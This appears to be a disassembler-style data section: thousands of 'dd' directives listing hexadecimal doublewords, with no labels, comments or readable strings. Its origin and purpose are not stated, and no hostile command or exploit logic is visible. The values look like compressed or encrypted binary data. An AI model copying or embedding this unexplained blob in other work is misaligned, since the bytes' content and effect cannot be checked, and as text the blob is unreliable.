dd 689B3DC0h, 362B92h, 0F39772D9h, 9A3CE448h, 8322EA00h
dd 0A693B381h, 57A90084h, 0BC5CB4CDh, 30066CDEh, 2CC63DAFh
dd 0E720098h, 8A5B3EC7h, 0CF009A48h, 5E101F61h, 45CE4Bh
dd 0A26B9DF8h, 96245BA9h, 6100D273h, 16126685h, 819A5Ch
dd 39DE378h, 2CB95A0Ch, 0B8CF48h, 92C97C52h, 983A145Eh
dd 30DD38C0h, 0F8F49001h, 0CCCD4319h, 5801C5AFh, 5C98BB7Bh
dd 343017DEh, 98F3FC9Ch, 29551298h, 0D3D440B3h, 94F0EAD1h
dd 0BFC0590Fh, 49D700B8h, 798A62h, 0FDFE8A3h, 7886B4B0h
dd 9FFD0200h, 0B342B685h, 0F44000E9h, 986D3F74h, 905BCB8Dh
dd 0F11E2FBCh, 1B99C018h, 25DF3C56h, 0A0F984CFh, 52A66EECh
dd 0C44400D1h, 55314233h, 68008939h, 0B6D3A270h, 0E4273D2Ah
dd 0CB37009Fh, 9213C43h, 7090C3E3h, 790BD639h, 76AE0107h
dd 0A090DF96h, 0C03B45h, 0CC84B72Ah, 6CFCB86Eh, 8DC7EA00h
dd 19F86FAh, 0EFDEC0Ah, 56C49088h, 0FC00F8B4h, 0E33B687h
dd 4B3FF9D3h, 31AB89F3h, 51168015h, 0E40B37EAh, 1C3F2E0h
dd 0C5A49C64h, 387FCBF9h, 36160094h, 896C5699h, 2F863C76h
dd 0B5B4E280h, 3866C217h, 8099DB25h, 2762F188h, 30C338C0h
dd 0FFD29E92h, 5A18D000h, 2DE884h, 0A78D0FF0h, 11FCAC7Fh
dd 0B3D517Bh, 4A0A06ECh, 4849ADh, 57FA08A2h, 0E9DA16B9h
dd 0B004778h, 4358B36Dh, 2C2AFBh, 0F0A17B15h, 0E4427DBDh
dd 27C34001h, 0E10A07ABh, 0FC91D4h, 7CA77F43h, 0A9085817h
dd 0B4A1B301h, 0E001A251h, 0F8C9D0h, 0C2F9FF8Dh, 0E4C3EF3h
dd 4C090826h, 0DBB93503h, 0A06CD1D0h, 8000FC32h, 0EC8BDAA2h
dd 1A905B6Fh, 3F8EC900h, 2B831789h, 68870061h, 0A7DBC55Ah
dd 9100D681h, 1731D76Fh, 7CF26910h, 606E00A3h, 98ADF136h
dd 1900F3EFh, 0CCD93512h, 39E32EF6h, 539FDBB2h, 12F1E3Eh
dd 0DC373680h, 0EFEC3498h, 2129ECFBh, 0B82FF600h, 0FB18650Ah
dd 0A34205DCh, 3169EE0h, 90C545A4h, 2CF007FDh, 55411CBEh
dd 0C0B86126h, 0F4149545h, 94E600E8h, 0B889291h, 36C6002Fh
dd 210AD6C8h, 0CC738EF7h, 0B4375100h, 0F2ECDDCh, 0F503019Ch
dd 4FCED0DAh, 0B68C30FBh, 800DF439h, 36EBDADh, 24DDE51h
dd 19F70B7Ah, 0D470CBFBh, 0B6A84E00h, 31FCD545h, 0F9E30044h
dd 0A13C0351h, 2E0B30E5h, 0D25ABBh, 6801B348h, 0EC3B30B9h
dd 3FC82BB8h, 36EBA3Eh, 7C53B05Bh, 0F919E011h, 5061C946h
dd 622D6001h, 0F42C6447h, 0FF355500h, 45165CDAh, 9B940068h
dd 2F11FD79h, 497C0256h, 25B1E31Fh, 0EC092697h, 0CC4F8A44h
dd 80A73A0Eh, 0B815B3B7h, 0B987B64h, 3F3C892h, 0F2DAD01h
dd 278FFC8Bh, 807ADB3Fh, 9413A26Eh, 0B84FF1B5h, 637B0E73h
dd 10C0A5C0h, 33EB55FBh, 21FFD800h, 84D45BD9h, 0F15A3AC8h
dd 68D4D1h, 4C1E10EBh, 9DD088D3h, 0D0274714h, 44077C94h
dd 87CC8025h, 0AF6FB6C0h, 811109E5h, 2C0076C4h, 0CCBD607Ah
dd 98D58E03h, 0DA2C5C78h, 1DB8787Fh, 851D8DABh, 0E81524h
dd 227CCEDBh, 5690F934h, 7768700h, 706ACA96h, 0CDF4A037h
dd 2DD700F1h, 8CB3053Fh, 0E40046E7h, 0A25D5397h, 0E430E3F7h
dd 6AC9034Fh, 270E0AAEh, 0BAE088F9h, 82070318h, 0E425B0h
dd 72F12110h, 28C0F2D1h, 0D8A85900h, 0EE4A6C5Ah, 30BA737Fh
dd 0B2EC2FB7h, 0BC00AFC4h, 9D05093Bh, 8139ADh, 18682201h
dd 50517DEEh, 60A71900h, 3F31B9EDh, 697801E9h, 99E7AF3Ah
dd 55F870D8h, 0A37D2810h, 0EDF98707h, 71C71093h, 95004261h
dd 0EFE34AE5h, 59838C4h, 2A6F97BCh, 913CA03Bh, 0C300F9ECh
dd 0B0F442Eh, 937DBAAh, 0D2B3CE60h, 0B6D66820h, 94B0B72Fh
dd 7D49DA07h, 0BA83A264h, 0CE20008h, 6788AC1Eh, 0E503279Dh
dd 9C794524h, 656D989Eh, 988B007Ah, 0C56C8275h, 0D903B92Eh
dd 0EE994C8Dh, 0EC00F5BBh, 0D827C848h, 5D50052Ch, 404018EAh
dd 0CF4E54E8h, 0C008CBAh, 396FFDB9h, 7D56F6A8h, 0DD1007Fh
dd 5A84946Ah, 0F22DE59Fh, 8A7D6030h, 5D8D00B3h, 17DF63BEh
dd 0A498B5F5h, 2FF4711Dh, 0AB152140h, 76CD56Bh, 0EF84E5Dh
dd 9551C117h, 3292E458h, 4CB5EF0Fh, 570D0080h, 7C7AEA2Fh
dd 0A8FD12B1h, 8F900303h, 0E4F0C5DCh, 0F40E5C6Ch, 80ED8A47h
dd 49A0ADE3h, 95F2B7h, 0A038872h, 7F156FDh, 50742104h
dd 90C05829h, 11F8C5Eh, 1BA3ED30h, 24321694h, 11589188h
dd 213F30h, 0D7D6AF53h, 0E8244615h, 0BDD303A4h, 252C371h
dd 57E7E0D0h, 90980D7Ah, 61B93F00h, 4104C591h, 0C7425h
dd 0A660FF1Eh, 0CE36E4C7h, 170F5890h, 2C2F8D53h, 0C310BCh
dd 0D16182Bh, 61BD4E88h, 5011A705h, 0B8E0B204h, 0C8EE02BCh
dd 792D43EDh, 0A92281F7h, 887CC77Eh, 97D07D01h, 6033FC73h
dd 0DEEAFA64h, 0E04ED100h, 87502F17h, 59D400A4h, 5E2E9077h
dd 5F00118Bh, 85574D27h
dd 59D61CD9h, 27A182Bh, 45F0B93Bh, 684032E3h, 21074983h
dd 0CCDE7BF2h, 0CE31FA20h, 0E3CD006Fh, 5DEC8965h, 7CEAA593h
dd 51386E6h, 0CC812645h, 0C613AEAh, 0CBEB0440h, 94970F81h
dd 29852D70h, 0B49C802Ah, 0A62E4277h, 8E007FF3h, 0EEBE9BD8h
dd 808C5057h, 0E1300F6h, 76CFFD49h, 8F00D9FCh, 0B179F5A8h
dd 7591561h, 41AF9F2h, 0C34E005Dh, 3EE2B9D8h, 93FFC238h
dd 40DF2Eh, 0F2C1637Ch, 53820B5Bh, 8C20971Bh, 25757BABh
dd 8EDA851Ch, 5BBFE5C0h, 181ECC6Bh, 0F42CC953h, 0EF001477h
dd 0C54B207Bh, 0A14344h, 876F4F01h, 0E22330AEh, 71D64E00h
dd 48EFB178h, 3813008Bh, 0C5AF1A34h, 82247652h, 448FEC11h
dd 4C2F40B8h, 0E27DE60Ch, 7A0E00CEh, 1505A58Eh, 0F07A3018h
dd 34372E00h, 13E8F2A6h, 99551261h, 82B00BCAh, 634C98C0h
dd 8F780201h, 7ECDC425h, 0D49C80F2h, 2FF5CE76h, 9C808ADFh
dd 9E6C2F20h, 10353320h, 3B8FAE8h, 3659B449h, 1A78F075h
dd 588925Eh, 7C05DD9Dh, 3FAC90BDh, 0B1008CECh, 650C6892h
dd 0D981E4h, 84F0DE54h, 0B6B45EDDh, 5B33E0C0h, 60B7BB88h
dd 0E59710D3h, 30014B8h, 11C70A79h, 0F045F5h, 0C1ED2D17h
dd 0B5DE47CAh, 0AF00FFE0h, 874CC838h, 121DD575h, 2BD872h
dd 765EDA98h, 0B9031506h, 5DF1625Ah, 0A2098810h, 0C1340008h
dd 1E5D373h, 6F046124h, 0A8484355h, 10F74A0h, 0E0B030FDh
dd 0EAF874A0h, 90D823C3h, 271E0DD5h, 14E8D756h, 0E613AE00h
dd 80E2793Dh, 3CEC2401h, 0FCF33EB8h, 25940003h, 205ED936h
dd 0B60045D3h, 9B347264h, 1E051287h, 0D6498838h, 2A50046h
dd 0B49E51C3h, 3AD38E00h, 0E1C535CFh, 301900DBh, 9BD7A979h
dd 3E00F58Fh, 0B5B27193h, 4CA0B7Dh, 956DD6A6h, 2599C0E9h
dd 3B006955h, 1FDE41F0h, 9065B510h, 64F00B0h, 4EFAAD91h
dd 0B00A35Ah, 3F1B7558h, 0B8695DE3h, 0FBA70017h, 82B45C24h
dd 6E13D79Fh, 5CC0EFBAh, 0C7F48Bh, 29BBCA08h, 524553ACh
dd 0A601E000h, 551A5110h, 7D783EBEh, 0F44AFC00h, 6E745066h
dd 6B17E4F0h, 0B9141F14h, 0FDFC007Ch, 10FA904Fh, 50D0030h
dd 4655A2ADh, 2800E152h, 95E79396h, 7F926B1Ah, 1EEC0F90h
dd 0D12094D8h, 0F91584A8h, 9E67CC00h, 5EAD72EDh, 0C18527DCh
dd 1818DC0Fh, 100C337h, 3CBA3A07h, 1F4AB97Bh, 45B433F8h
dd 0AC96794Bh, 9E7301C3h, 0B00C329Ah, 0A16521D8h, 4FFC899Bh
dd 0C74B18DEh, 53E150D6h, 0BEFA9300h, 1F49BBE8h, 3B020265h
dd 22FC6ADBh, 9D12C8F0h, 9C5E1A43h, 59E0A4AFh, 26C5E1C4h
dd 0B4142A80h, 893A004Dh, 1DEDD233h, 0C0008BB0h, 11F985AFh
dd 0EE871310h, 2F7A03B8h, 93E32042h, 19F3B6B0h, 7300AAB0h
dd 4D40A43Dh, 26E8B42Fh, 80F8DBD4h, 88F45658h, 157C09DCh
dd 3CDF73Ch, 0CCD11334h, 91980178h, 16D5BB03h, 0D3119E9Eh
dd 0D4FCBA00h, 3146A66h, 28A8E660h, 0FEDB11F3h, 892BD0E7h
dd 1E0FD2E1h, 20169B1h, 70A3386Eh, 0B4DF07D0h, 8E5A3414h
dd 0C05C8792h, 9EAA2591h, 800301F6h, 360A406Fh, 99CB906Ah
dd 9B392861h, 4CB21520h, 7EC36834h, 99C03FF4h, 4E00E06Ch
dd 0C2370F70h, 533BC3h, 7745B87Fh, 0BE15A439h, 0BF8D81Ch
dd 0FF40C2DDh, 6B99B359h, 9F0D00C4h, 0B61B3281h, 4900C32Dh
dd 0D6CE4ECBh, 0EBB1387h, 8C80CD02h, 0BF7E37A0h, 0F75450F4h
dd 570028E4h, 0C39F0398h, 668939BBh, 218008ABh, 988F3300h
dd 137077F3h, 7D310199h, 0BE2B3BCDh, 0EA6DD466h, 5237BF00h
dd 75FB746Ah, 0F2F8F114h, 390E000Ch, 0A8DF8A08h, 9CA8C3F1h
dd 0FA001298h, 9523406Dh, 0CC1B39F4h, 8521D108h, 0B5FA2A01h
dd 89072260h, 8DDCA4E1h, 37BC25D2h, 0C82384EBh, 98560EF5h
dd 0BADB9F02h, 32102E19h, 1600988Eh, 0C0EF8A8Bh, 18CED0ADh
dd 58970D48h, 0F530750Bh, 3921D830h, 0D4E05259h, 0B4A4BF01h
dd 20726690h, 7A665E3Ch, 21D008h, 85B7AC1Eh, 91543C31h
dd 132E500Eh, 0A680005Eh, 0E8DC7Ch, 37C02D61h, 97561531h
dd 0E10B34A1h, 1070F716h, 44FF7E00h, 31DB5C06h, 0EE301D7h
dd 815DB452h, 0C242DCC1h, 0BEC74507h, 68E012DEh, 262488Eh
dd 3521D1D9h, 47C002F3h, 0E0000F59h, 670436FFh, 38B95B81h
dd 2E804275h, 8657DE4Ch, 90E8DD9Ch, 7D4321C7h, 0BC95BEF1h
dd 3AD7F4h, 360B6A5h, 0AC236558h, 32EF6E0Ch, 0AD3195h
dd 7E2BDAD6h, 0D8CFA09Dh, 3188DC01h, 14E0C624h, 0EF1EF0h
dd 3DEDC082h, 5D6DB8FCh, 6799BB00h, 0BFE95C0Bh, 105B6083h
dd 0A8C443E1h, 0A518680Eh, 0B5091973h, 4AC12180h, 6D4C1EC4h
dd 15413300h, 0AFE88A76h, 5B1A06DBh, 999959C6h, 41552E1Fh
dd 0A6E670F0h, 0C7440393h, 298CCE59h, 61019D6h, 944005FFh
dd 84048CFCh, 542E2342h, 0CE2FBA62h, 739E41ACh, 6DD0073Ch
dd 0F4E001EDh, 0F39D0A8Dh, 99B500C9h, 1B3D18CEh, 59D410BAh
dd 0D5F2C300h, 7E83DAC6h, 55A00D7h, 0E92EE2C4h, 98004E09h
dd 0C18AAA2Ch, 0EC81F1h, 0E103E5E8h, 0CCA33693h, 1EC2A900h
dd 0CB3457CAh, 0FAE00F6h, 125B9C11h, 3600236Bh, 5408444Bh
dd 0F1EDDB8h, 2A65AA8Ah, 81DBCF00h, 0F70577CBh, 20DF3B7Fh
dd 8FB094C0h, 415D181Dh, 0FEE720EAh, 1CFA171Eh, 0EE38B8C0h
dd 12DEAF21h, 4970CCh, 34870708h, 0DC0C5F77h, 59E52D32h
dd 257D00EBh, 0BF2AF3BEh, 35794076h, 6517C307h, 0BC33A9C2h
dd 6CE1D816h, 257318F6h, 48CC199Dh, 3E841A00h, 0FA643014h
dd 0D740C3C3h, 0C0C5B425h, 0E321F828h, 0E5965200h, 38C0FD0h
dd 416F0C2Bh, 0EA80665Ch, 0A59A6018h, 0BF49C9h, 0DAAAB293h
dd 0F05459E4h, 0F8317000h, 9E2B0217h, 560C06EFh, 41641DAAh
dd 81007D7Ah, 0C5586157h, 2648FCF6h, 139CB0h, 0A52F2EA7h
dd 18005D1Ch, 0ADB16A3h, 0EB321Eh, 54302B90h, 409228BAh
dd 501B0630h, 331F181h, 0C65C1E10h, 58A84C6Bh, 7D00577Ch
dd 760702C2h, 3A2ECB1Fh, 0C00212Dh, 0AA6FA873h, 47007709h
dd 43A9947Bh, 0E87F14E1h, 8F18C040h, 4776ADFFh, 0AB2890F0h
dd 4600181Ch, 727DC03Bh, 7A385B8h, 0BD6D86AFh, 0BA3C5016h
dd 3000DFF6h, 45BF1CD6h, 573249h, 8B7A55BEh, 0D39ACBB1h
dd 31E23402h, 9EF3ACCCh, 70126014h, 44363040h, 0FD1798C0h
dd 98AF6754h, 2A231860h, 7F06B1CEh, 0EA85E00Fh, 0F02B82F1h
dd 580C8143h, 0D412E9B6h, 0A1A33418h, 0CC0CE818h, 0EC30F342h
dd 6586BE61h, 0E8E0A141h, 0A1FE6136h, 80A5B35Bh, 0BB9626A8h
dd 2A731D92h, 6987B81h, 36BE177Dh, 5F44503Ah, 1CACD0C4h
dd 45CDFC00h, 0E7AC73D1h, 0E625271Eh, 0B672E101h, 36E8D07Fh
dd 0AD51C7D3h, 83CF373h, 0E2788178h, 11D0BD30h, 0DAEBFC5h
dd 4685F171h, 0B87DF060h, 665079C1h, 0C88D3179h, 0F020A9AAh
dd 0A2481B78h, 56F203ABh, 98A7AE1Ch, 1841FD14h, 29AB3190h
dd 3D00AAD7h, 1C7B6D8Ah, 0CC7625FEh, 0B7219D08h, 353D7201h
dd 4C1166AEh, 155A3F4h, 7AC0AAE1h, 0E420D7D5h, 0D6E07190h
dd 1CA87214h, 37301C5Ch, 0B7F3940h, 3DCF87h, 6E5546ADh
dd 7E60C427h, 18AD420h, 4041F856h, 25A329BAh, 77818068h
dd 8E244391h, 0E711C0BBh, 3BE1BEA6h, 0AA65B706h, 6708BFC4h
dd 507821CFh, 0E77645BEh, 0AC28B300h, 4A176775h, 0D57D242Eh
dd 0FACC0004h, 77E4029Ch, 0FCCA4D1Ah, 0E5810FC8h, 9447E13Eh
dd 3F8664D9h, 5F744C10h
dd 8592E00h, 20EC17A5h, 83D1D300h, 3C7D1039h, 74780187h
dd 1907B1CEh, 24B2D885h, 59016F79h, 3D792EFEh, 9FDAA2C3h
dd 9B515804h, 0C9E253Eh, 188B5B74h, 0F344007Bh, 0A2753158h
dd 90000E20h, 0E6854BD6h, 3B047477h, 7B8C8AB9h, 0AE29DC54h
dd 372340h, 5A9DBA67h, 778DDAC4h, 0AA2DA300h, 0D798BF96h
dd 391E0042h, 2F5F6AB7h, 3D0F0B0Ch, 2667CFh, 4547CB78h
dd 32EE0055h, 0EFB856E0h, 9F1693CAh, 150034A6h, 23D22910h
dd 52FF1F1Ah, 80965EC5h, 97941513h, 503EEFE1h, 811C07E2h
dd 0B1A07BB9h, 60789C43h, 420589D1h, 75190CE0h, 0E72926CEh
dd 489222E8h, 3C00B915h, 0B0E0741Dh, 251E346Ch, 0F0A5C1EBh
dd 59BE001Eh, 78C971D4h, 61EBC10h, 0FA00039Ch, 15119641h
dd 0CEBD3C26h, 47D78483h, 7000D8E2h, 8C93F5CBh, 3FDCE5BCh
dd 0FD80EABFh, 9270CE2Ch, 0E000B0F7h, 0AD08CEDh, 1D4A23Bh
dd 73627F2Bh, 0ECEF1609h, 5300C17Eh, 0CF21D6D5h, 365105h
dd 9A25322Ch, 346AB092h, 2DDF8A00h, 0BE8C9FC0h, 0A74300FCh
dd 0B67F8FDEh, 0D51F0B96h, 6140D136h, 0DAE723D7h, 4ACD00A9h
dd 6C6E0682h, 0EE65189h, 1857F500h, 8410428Bh, 237306D0h
dd 116375FAh, 31C110Fh, 0B3A2C06Fh, 0E3E0E1h, 88C3A4A3h
dd 44F263DEh, 0E5EDFA00h, 620D9752h, 7297802h, 4C74FFE4h
dd 0C48320EFh, 0FE0B3933h, 0B13EA8h, 3DDFD45Fh, 49281D82h
dd 426444C8h, 0EE548385h, 780059EEh, 5762B2C7h, 1BBAB81h
dd 7AF52F68h, 50D652A1h, 0E26B0BE8h, 0E489EDFDh, 96006A46h
dd 715EED3Bh, 6FA3F8h, 15FBAAC7h, 89F2C8D8h, 9C10A00h
dd 0AB38FCD4h, 48196022h, 6AC63ED3h, 3CCA5919h, 0E080DD88h
dd 0E2EB4258h, 38008CABh, 5E1EFEE6h, 55077899h, 2E44401h
dd 0F38E00DFh, 0DC1EAB92h, 0DE0033B3h, 0B823DDE1h, 3D82812h
dd 0C9FF4AC6h, 54C80C27h, 7E384F55h, 0E0E6008Fh, 9BFA0DEh
dd 5EDA3722h, 37D09099h, 98002F2Ah, 0F1F31A68h, 22C02Ch
dd 73C176BEh, 9388FF59h, 3C5B8900h, 56D46BB7h, 815D00D3h
dd 7DDD3ACEh, 0F800380Ah, 7B324537h, 0E271EC6Fh, 9DDE26E6h
dd 6CFB0004h, 4D3C8610h, 0B439BF00h, 6BF84AACh, 881E6895h
dd 893204A1h, 0E32C8318h, 0CE689EF0h, 8A915E00h, 0FB9D1AACh
dd 2946002Dh, 8DC19077h, 0BD004FB3h, 0EF1DE1C4h, 0F0B72439h
dd 0D09A00E2h, 0AD978A06h, 1F00D541h, 79E6ABA9h, 807C9h
dd 0C8A8B982h, 248B88CEh, 360ECF00h, 682C3005h, 0F22D01F1h
dd 2628716Fh, 8EE8CC9Bh, 4B579E00h, 5F477B46h, 0FB204BBh
dd 0D01BB021h, 0C109D0DCh, 82D1FF1Eh, 4E266140h, 5EAAC6h
dd 8A491DB8h, 2F4D99F9h, 1C465B09h, 20B80130h, 0CBC1BFDEh
dd 0CEA5E440h, 0A1930064h, 968CDFF0h, 13E028Eh, 0B416260Bh
dd 0C7559C80h, 901E83F1h, 82E420h, 26891171h, 0FA202AF7h
dd 0E9CC870Eh, 0CBCF103Bh, 4D113980h, 6348314Ch, 0BBF3B060h
dd 0C1AF006Dh, 1003764Ah, 0CA056172h, 3BA24921h, 0F414D440h
dd 28A69327h, 0BCDF77h, 3171897Eh, 2D445AF9h, 39D440E7h
dd 0FAE211C1h, 0F3674B0Eh, 8B120193h, 5C404E36h, 9264E986h
dd 0D0D50044h, 895868ECh, 0A3827EFh, 0F514838Ch, 0A95DBCF2h
dd 2EDC0224h, 566D053Fh, 900AC2F3h, 4DED0D40h, 8EA78706h
dd 1996392h, 91788DFAh, 83DC0F96h, 8A329A80h, 0B03D8311h
dd 0E4D28F29h, 44800090h, 65E51D71h, 0DC64B7B8h, 78806440h
dd 0C1607F0h, 0F2B6F38Fh, 0E9484049h, 0C2D2180Ah, 30FBBF80h
dd 2C79F0C9h, 0AE24054Dh, 0FD01BBB3h, 230A2533h, 0E0ABF830h
dd 8E5D152Eh, 2400A803h, 5E556287h, 61C7846Eh, 60DFA5D7h
dd 18E5540Fh, 0B5330C08h, 4888130Ch, 59ECC54Eh, 5CD4781Ch
dd 0B0F00122h, 0F029FF21h, 8409D6F3h, 20CF528Ah, 0C805C1F8h
dd 3B630960h, 40A56770h, 1884069Bh, 300B9F3h, 0E187D4D3h
dd 60886135h, 2738199Ch, 0BC588B9Ah, 0D5D2002Ch, 0DBD357F8h
dd 107E639h, 144A5D5Ch, 0D08F1B65h, 0A7007479h, 6DFA8CB0h
dd 4956AD73h, 0FD038491h, 0F481A223h, 97920780h, 0E9658D03h
dd 0FF575AA6h, 0CD87989Ah, 0EEE1FEFCh, 4EC0531Ch, 0BBA501E7h
dd 6944A4F8h, 11EC3379h, 47893CC6h, 24A17E00h, 8372DEE3h
dd 9300CAB0h, 3253E82Ch, 938F332Eh, 5EB68014h, 3F42E157h
dd 8F14DC00h, 4D485C9Eh, 3A303E7Ch, 0AA87BE07h, 71C28629h
dd 964E748h, 27D20AB7h, 0B0D2EC70h, 0BDC6E0Ch, 6D3EB8CBh
dd 0AE20081h, 0E460E25Bh, 1130C2DBh, 6164F0FEh, 0C0427C1Eh
dd 0F1200979h, 391E8649h, 0D645E37Eh, 0E81FD976h, 8B381F40h
dd 3B30CEBh, 4AEEF024h, 0D127D1CBh, 3D05076h, 0B75AE785h
dd 0E93ADCD0h, 0E0FF0010h, 0AF5CC8DDh, 2B8D3575h, 0DB2880A9h
dd 0B17629D6h, 0E23C2F1Fh, 0FC2B3700h, 0B0E16F3Eh, 45D001CCh
dd 0D035266h, 0FD8BD4A2h, 28370900h, 0E91E9306h, 24BF451h
dd 2B10B76Eh, 1CC0905Ch, 0FA2C70E0h, 34032E86h, 91F023h
dd 7D832B18h, 6EDF9472h, 0BE0E9DB8h, 0E10EC307h, 32DD17D2h
dd 0FF6F7C34h, 4082F89Dh, 0C2CEB614h, 3A0013E8h, 6556F67Ch
dd 4C2569h, 2EE70312h, 3B017BAFh, 88742201h, 514DFB5Eh
dd 2537C0D3h, 0F7B41EF9h, 58648015h, 41AFB124h, 0C3F00D0Fh
dd 0DEAE2227h, 1BA8A3A6h, 5480A72Ah, 6095D2h, 0E813B98Dh
dd 41EE1290h, 80C70A07h, 303203B2h, 88924314h, 33C325Fh
dd 0AB5550B8h, 4BD8B30Bh, 0F805CD2Fh, 1256EE19h, 0F0A98680h
dd 86500ACh, 0CFC632E9h, 86005374h, 915C3F6Eh, 9A5F14E0h
dd 0DCEB3D74h, 4ABF8182h, 828ED827h, 18DEE840h, 0CA49C585h
dd 80150744h, 0BD67A27Eh, 114E38E3h, 15ED0B41h, 0FCEE07h
dd 52F5733Eh, 9277DBh, 894A59EAh, 605323D6h, 0E50AB9B8h
dd 0C48D49FEh, 7DEE8C3Ch, 94769B4h, 0DF7CC2B1h, 0D030C880h
dd 1B091F3Bh, 36D86h, 0F60F6078h, 4D08009Eh, 0B227150Ch
dd 1416136Fh, 98410521h, 0E24BE58Ch, 0CFC74h, 0AA4EA17Bh
dd 2D35BE8Dh, 71C762FCh, 4905FADh, 51B27Bh, 0FD18BD54h
dd 841DDEEEh, 0E0E47804h, 0D092A039h, 0B58C6191h, 0AB2C880h
dd 5B4E1294h, 0FE2BF20Eh, 0EF262021h, 5C17A095h, 0B7A2235h
dd 0AE50D57Ch, 0DC26241Dh, 0BBA14004h, 0B0A46704h, 4002688h
dd 0A765030Fh, 0CA94AAh, 6B24C574h, 0AE82199Eh, 4D38594Ch
dd 0FA3A74h, 621E7C39h, 635D603Bh, 0F69268EDh, 0F01802D8h
dd 242CC002h, 0C363E214h, 0E0CF9FD8h, 0BE43556Ch, 9DE3D79h
dd 31D47580h, 543BCF88h, 0E5265313h, 0E85DD822h, 17E685D4h
dd 3088C44Ah, 0D4B61020h, 0E962FC00h, 5B191F60h, 0EB2D044Ah
dd 0A33B08F1h, 0EC22A4h, 0F28838CCh, 577B978h, 8F3FE213h
dd 9C1C6C2Dh, 1C67F01Eh, 936BC0E7h, 0F6BC02C4h, 88C87459h
dd 0DF0D9D65h, 1023E8F7h, 789B0920h, 17480004h, 37B85A51h
dd 83F04907h, 25BCE000h, 54AB4415h, 50BE05F2h, 0D8D493CEh
dd 0BF5367A8h, 802E05CCh, 0B88C5984h, 0A3001C1h, 44BA9D3Ah
dd 67586155h, 0E1290090h, 184E20E2h, 4C4DFACBh, 900062C5h
dd 7F83FE34h, 38171B46h, 0EC0F07D2h, 0DB80C09Dh, 0FADE2Bh
dd 0E9496CE6h, 6FD347A9h, 0B314AD00h, 0FE7CA62Dh, 0F8A0E861h
dd 391E0020h, 0AC0CE68Ah, 5C0E2AEEh, 611FC359h, 0B09450F0h
dd 38D24820h, 0DA003F63h, 5FCFFD15h, 66042285h, 0B2AEA89Bh
dd 5BD2BC80h, 0C42139EBh
dd 923BF449h, 0E5500380h, 0E6F5CF3Ch, 0A53AEA1Fh, 2F100138h
dd 13E46676h, 18BA1BC8h, 38DDC814h, 38027D26h, 0F7C97618h
dd 0CD988182h, 0E88C2F5Fh, 7928CE10h, 9C302000h, 0BD7A2D91h
dd 7F7B0069h, 0B26A4CE5h, 0EC28A8CEh, 26E6EA08h, 0BE362000h
dd 5BFBCB43h, 287055h, 5364DBB9h, 67E634A8h, 0E1175600h
dd 0A9B582B4h, 35E00029h, 690DC999h, 0D703C588h, 81DF9E0Fh
dd 31149073h, 74300053h, 4627AEF7h, 3E486FC2h, 83330054h
dd 603109C7h, 7369006Dh, 5F45D97Eh, 4370C4D8h, 0A31CDF90h
dd 6985834Bh, 8E0F79B4h, 5FA400EFh, 1AA39F4h, 89442E12h
dd 0C8AFBBE4h, 3813A69Fh, 64000468h, 507DBD08h, 2DEC00FFh
dd 8D828674h, 30005AEAh, 133F8741h, 20273Ch, 6128F26Dh
dd 4B3216CBh, 0C5CD700h, 7E5859A7h, 9039008Bh, 0B3D221B8h
dd 0E100BF54h, 7AD02DC1h, 5A3C9Ah, 0B11529D3h, 6CDA0B0Dh
dd 59871900h, 854017C2h, 0EA7870D0h, 84F5A191h, 92A3E0h
dd 7E2FFB1Fh, 48C32129h, 8D0EA407h, 39B120E3h, 4CE4AC56h
dd 994600F5h, 0B2238A2Bh, 12B8117Ah, 0CDAE3107h, 0C4617F01h
dd 65E4B437h, 38FB07D1h, 80F07987h, 1F011D84h, 0D8A9E100h
dd 0C5F8D67Dh, 726200EBh, 7C234579h, 513CA7AFh, 0CF3EFA0Dh
dd 913A89h, 856B29EAh, 7948083h, 3DBB36DCh, 8C9E10FDh
dd 0AC00388Dh, 86207009h, 723BF4h, 93F0E1A8h, 9933B4A9h
dd 0E367B500h, 8F6D8C38h, 0D3A500D9h, 5F0C1347h, 610FB160h
dd 4012E87Dh, 0C1C5E75Ch, 32980794h, 20F295A7h, 85019C97h
dd 9A01C4F8h, 770523D0h, 75EC6C7Ch, 68341F63h, 0F9220F55h
dd 6002F100h, 1A001FBAh, 9389C1D5h, 4B9632h, 0E5790120h
dd 7E9EAA0Bh, 3C606A00h, 0C0D5ED89h, 0F69400A7h, 8063A142h
dd 4160D231h, 89476210h, 0CF6F0F07h, 2340B2E0h, 57EA9DC7h
dd 3CC6C00Fh, 0D6C1A349h, 876EA2A8h, 0E9017B0h, 3FBE6624h
dd 15804BE9h, 0DAA4F1EEh, 0CA097AF8h, 0C06499A2h, 405324Ch
dd 0EACC28BCh, 0BBFD80D1h, 2100F4C5h, 0FE2666FDh, 4719DCh
dd 0C9ADE316h, 2ECAEC90h, 0C509F304h, 990CD73h, 7724620h
dd 0ED0E9527h, 0D081E149h, 3C682044h, 65969A00h, 4F2A404Bh
dd 2CA87EEEh, 9DDCCFD4h, 32CE005Ah, 884C845Dh, 260184B8h
dd 918A056Bh, 0D3CC6CE7h, 6F413890h, 0A5CD7000h, 32C5DC4Ch
dd 8BD83600h, 60A455CFh, 8AC20171h, 2040DE4h, 23F02040h
dd 38D67300h, 99FD5066h, 0E96E0063h, 94C8AA7Ah, 0AD00AEF3h
dd 1336D2B4h, 0E4E4701Bh, 820B3CBAh, 272FF400h, 1EE27A49h
dd 2499D439h, 9E00BBEBh, 0F4F848A6h, 36CB0026h, 6B1AB9AEh
dd 562C0AF1h, 0A5807021h, 28C7C987h, 2D390267h, 71E888C0h
dd 75F33840h, 0F10064FCh, 8B5091Bh, 173572BFh, 1FEC8925h
dd 0DABC0E08h, 82878600h, 80F01916h, 0AF41A900h, 4AB409A5h
dd 502D0FD8h, 74E783F8h, 31363013h, 653F05E6h, 99BA003Bh
dd 0F598A6A4h, 869400A0h, 1B87EBFh, 93125262h, 480E789Fh
dd 21BC00AFh, 0C9ACA0h, 0D6F8F1Fh, 0D784B970h, 9C667F07h
dd 998720DEh, 8A9DBF30h, 911C0067h, 0EB5AA5B7h, 0EE0051A9h
dd 22818436h, 0B4494120h, 2F123EC4h, 0D8703EAh, 0C42DF058h
dd 7BEC0010h, 2827B1A4h, 0C4B043h, 1AC9EDD5h, 4A535F3Dh
dd 9B003490h, 0EC5EA314h, 90A90AA1h, 0C9650006h, 0CDE57E69h
dd 0D6002538h, 0DD505E9Eh, 0B0EB63Eh, 0C6E3FAA4h, 3811EC21h
dd 0D07F21BBh, 96000993h, 8D1BA16Eh, 79A4Fh, 924491A4h
dd 0D8E6A8C1h, 0D58FBC00h, 8BF73C7h, 0EEB30058h, 3265660Fh
dd 9D2EBA24h, 0D0C1B55h, 0C360A3h, 9A385A23h, 6696A1B9h
